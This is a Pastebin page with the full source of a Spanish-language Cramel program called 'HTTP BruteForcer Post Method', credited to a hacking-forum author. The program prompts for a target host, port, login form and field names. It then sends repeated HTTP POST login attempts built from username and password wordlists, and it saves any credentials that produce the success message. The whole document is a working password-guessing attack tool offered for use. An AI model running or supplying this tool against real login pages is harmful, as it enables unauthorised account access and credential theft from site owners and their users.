Advertisement
Guest User

Untitled

a guest
May 17th, 2017
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.50 KB | None | 0 0
  1. ' HTTP BruteForcer Post Method
  2. ' Coder: Rollth
  3. ' Underc0de.org
  4. ' hackingd0.blogspot.com.es
  5. ' whateversec.blogspot.com.es
  6.  
  7. ' Llamada de librerias
  8.  
  9. Importar "Cramel.cml"
  10. Importar "Archivo.cml"
  11. Importar "Consola.cml"
  12. Importar "Sockets\Sockets.cml"
  13.  
  14. ' Procedimiento que calcula el tiempo
  15.  
  16. Proc calcularTiempo(tiempo:Entero):Cadena
  17.  
  18.    ' Variables para contar el tiempo
  19.    
  20.     Var dias, horas, minutos, segundos:Entero
  21.    
  22.     tiempo = tiempo/1000
  23.    
  24.     dias = tiempo/86400
  25.     horas = (tiempo - (dias*86400))/3600
  26.     minutos = (tiempo - (dias*86400) - (horas*3600))/60
  27.     segundos = (tiempo - (dias*86400) - (horas*3600) - (minutos*60))
  28.    
  29.     Resultado = EntCad(dias) + " dias - " + EntCad(horas) + " horas - " + EntCad(minutos) + " minutos - " + EntCad(segundos) + " segundos\x13\x10"
  30.  
  31. FinProc
  32.  
  33. ' Declaracion de socket
  34.  
  35. Var hSocket:Entero
  36.  
  37. TCPIniciar()
  38.  
  39. ' Declaracion de variables
  40.  
  41. Var archivo1:FILE
  42. Var archivo2:FILE
  43. Var archivo3:FILE
  44. Var puerto, acierto, intentos, ContentLength, valorBusqueda, cantidad, z:Entero
  45. Var host, mensajeAcierto, form, user, pass, user1, pass1, men, men2, ContentLength2, puerto2, aciertoC, otros[], otros1[], cantidad2:Cadena
  46. Var Consola:ConsolaEstructura
  47.  
  48. acierto = 0
  49. intentos = 0
  50. z = 0
  51.  
  52. comprobarAdmin()
  53.  
  54. Consola = initConsole()
  55. Consola.establecerTitulo("HTTP BruteForce By Rollth")
  56. Consola.establecerColor(2)
  57.  
  58. ' Simple decoracion
  59.  
  60. Consola.escribirLinea("###############################")
  61. Consola.escribirLinea("#HTTP BruteForcer Post Method #")
  62. Consola.escribirLinea("#Coder: Rollth                #")
  63. Consola.escribirLinea("#Underc0de.org                #")
  64. Consola.escribirLinea("#hackingd0.blogspot.com.es    #")
  65. Consola.escribirLinea("#whateversec.blogspot.com.es  #")
  66. Consola.escribirLinea("###############################" + LF)
  67.  
  68. ' Introduccion de variables
  69.  
  70. Consola.escribir("Host o IP: ")
  71. Consola.leer(host)
  72. Consola.escribir("Puerto a atacar(80 si es HTTP o 443 si es HTTPS): ")
  73. Consola.leer(puerto2)
  74. puerto = CadEnt(puerto2)
  75. Consola.escribir("Nombre de la variable de user: ")
  76. Consola.leer(user)
  77. Consola.escribir("Nombre de la variable de password: ")
  78. Consola.leer(pass)
  79. Consola.escribir("Direccion del form: ")
  80. Consola.leer(form)
  81. Consola.escribir("Mensaje de acierto al logearse: ")
  82. Consola.leer(mensajeAcierto)
  83.  
  84. ' Otros parametros
  85.  
  86. Consola.escribir("Numero de parametros adicionales: ")
  87. Consola.leer(cantidad2)
  88. cantidad = CadEnt(cantidad2)
  89.  
  90. Redim otros, cantidad
  91. Redim otros1, cantidad
  92.  
  93. Si cantidad > 0 Entonces
  94.    Contar z a cantidad - 1 Paso 1
  95.    
  96.        Consola.escribir("Nombre de parametro adicional " + EntCad(z + 1) + ": ")
  97.        Consola.leer(otros[z])
  98.        Consola.escribir("Valor de parametro adicional " + EntCad(z + 1) + ": ")
  99.        Consola.leer(otros1[z])
  100.    
  101.    Seguir
  102. FinSi
  103.  
  104. TiempoInicio
  105.  
  106. ' Dos bucles para comprobar cada usuario con cada password
  107.  
  108. archivo1 = abrirArchivoF("passwords.txt", "r")
  109. archivo3 = abrirArchivoC("salida.txt", FILE_APPEND_DATA, OPEN_ALWAYS)
  110.  
  111. escribirArchivoW(archivo3, "Resultados de: " + host + "\x13\x10")
  112.  
  113. Repetir
  114.  
  115.     leerArchivoF(archivo1, pass1)
  116.     archivo2 = abrirArchivoF("usuarios.txt", "r")
  117.  
  118.     Repetir
  119.    
  120.         hSocket = TCPConectar(host, puerto)
  121.    
  122.         leerArchivoF(archivo2, user1)
  123.  
  124.         ' Limpia variables
  125.  
  126.        men = "\x00"
  127.        men2 = "\x00"
  128.        ContentLength2 = "\x00"
  129.        
  130.        ' Calcula el ContentLength y prepara el mensaje
  131.  
  132.         ContentLength = CadLong(user) + CadLong (pass) + CadLong(user1) + CadLong (pass1) + 3
  133.         ContentLength2 = EntCad(ContentLength)
  134.  
  135.         men = "POST " + form + " HTTP /1.1\x13\x10" + "Host: " + host + "\x13\x10Content-type: application/x-www-form-urlencoded\x13\x10" + "Content-Length: " + ContentLength2 + "\x13\x10\x13\x10" + user + "=" + user1 + "&" + pass + "=" + pass1
  136.        
  137.         ' Suma los parametros adicionales
  138.        
  139.        z = 0
  140.        
  141.        Si cantidad > 0 Entonces
  142.            Contar z a cantidad - 1 Paso 1
  143.                men = men + "&" + otros[z] + "=" + otros1[z]
  144.            Seguir
  145.        FinSI
  146.        
  147.        men = men + "\x13\x10"
  148.        
  149.        ' Envia y recibe datos
  150.      
  151.         TCPEnviar(hSocket, men)
  152.         men2 = TCPRecibir(hSocket, 1000)
  153.        
  154.         ' Comprueba si los datos son correctos
  155.        
  156.  
  157.        Mensaje(men + "\x13\x10" + men2)
  158.        Si  Buscar(men2, mensajeAcierto) > 0 Entonces
  159.        
  160.            aciertoC = "El usuario es: " + user1 + " -- El password es: " + pass1 + "\x13\x10"
  161.  
  162.            Consola.escribir(aciertoC)
  163.            escribirArchivoW(archivo3, aciertoC)
  164.            acierto = acierto + 1
  165.        
  166.        FinSi
  167.        
  168.        intentos = intentos + 1
  169.        
  170.        Consola.escribir("Numero de intentos: " + EntCad(intentos) + "\x13")
  171.        TCPDesconectar(hSocket)
  172.    
  173.    MientrasQue feof(archivo2.ptr) = 0
  174.    
  175.    cerrarW(archivo2)
  176.  
  177. MientrasQue feof(archivo1.ptr) = 0
  178.  
  179. ' Comprueba numero de passwords encontradas
  180.  
  181. Si acierto = 0 Entonces
  182.     Consola.escribir("Password no encontrada")
  183.     escribirArchivoW(archivo3, "Password no encontrada")
  184. FinSi    
  185. Si acierto > 0 Entonces
  186.     Consola.escribir("Numero de passwords encontradas: " + EntCad(acierto) + "\x10Tiempo: " + calcularTiempo(TiempoFin))
  187.     escribirArchivoW(archivo3, "Numero de passwords encontradas: " + EntCad(acierto) + "\x13\x10Tiempo: " + calcularTiempo(TiempoFin) + "\x13\x10")
  188. FinSi
  189.  
  190. ' Final del programa
  191.  
  192. cerrarW(archivo1)
  193. cerrarW(archivo3)
  194. TCPDetener
  195. Consola.pausar()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement